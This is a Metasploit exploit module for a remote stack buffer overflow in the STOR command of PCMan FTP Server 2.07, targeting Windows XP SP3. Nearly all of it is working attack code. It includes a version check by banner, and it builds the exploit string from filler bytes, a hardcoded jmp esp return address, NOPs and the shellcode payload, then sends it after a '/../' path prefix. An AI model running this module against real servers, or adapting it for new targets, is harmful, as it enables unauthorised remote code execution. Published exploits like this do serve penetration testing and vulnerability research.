PCMan FTP Server 2.07 - 'STOR' Remote Stack Overflow (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Ftp
	
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'PCMAN FTP Server STOR Command Stack Overflow',
			'Description'    => %q{
						This module exploits a buffer overflow vulnerability
						found in the STOR command of the PCMAN FTP v2.07 Server
						when the "/../" parameters are also sent to the server.
			},
			'Author'         => [
						'Christian (Polunchis) Ramirez',	# Initial Discovery
						'Rick (nanotechz9l) Flores',		# Metasploit Module                             
					],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: $',
			'References'     =>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/27703/' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space' 		=> 1000,
					'BadChars' 		=> "\x00\xff\x0a\x0d\x20\x40",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP3', 
						{ 
							'Ret' => 0x7C91FCD8, # jmp esp from kernel32.dll
							'Offset' => 2002
						} 
					],
				],
			'DisclosureDate' => 'Jul 17 2011',
			'DefaultTarget'	=> 0))
	end
	
	def check
	connect
	disconnect
	if (banner =~ /220 PCMan's FTP Server 2.0/)
		return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect_login
		print_status("Trying victim #{target.name}...")		
		sploit = "\x41" * 2002 + [target.ret].pack('V') + make_nops(4) + "\x83\xc4\x9c" + payload.encoded
		sploit << make_nops(4)
		sploit << payload.encoded
		send_cmd( ['STOR', '/../' + sploit], false )
		handler
		disconnect
	end
end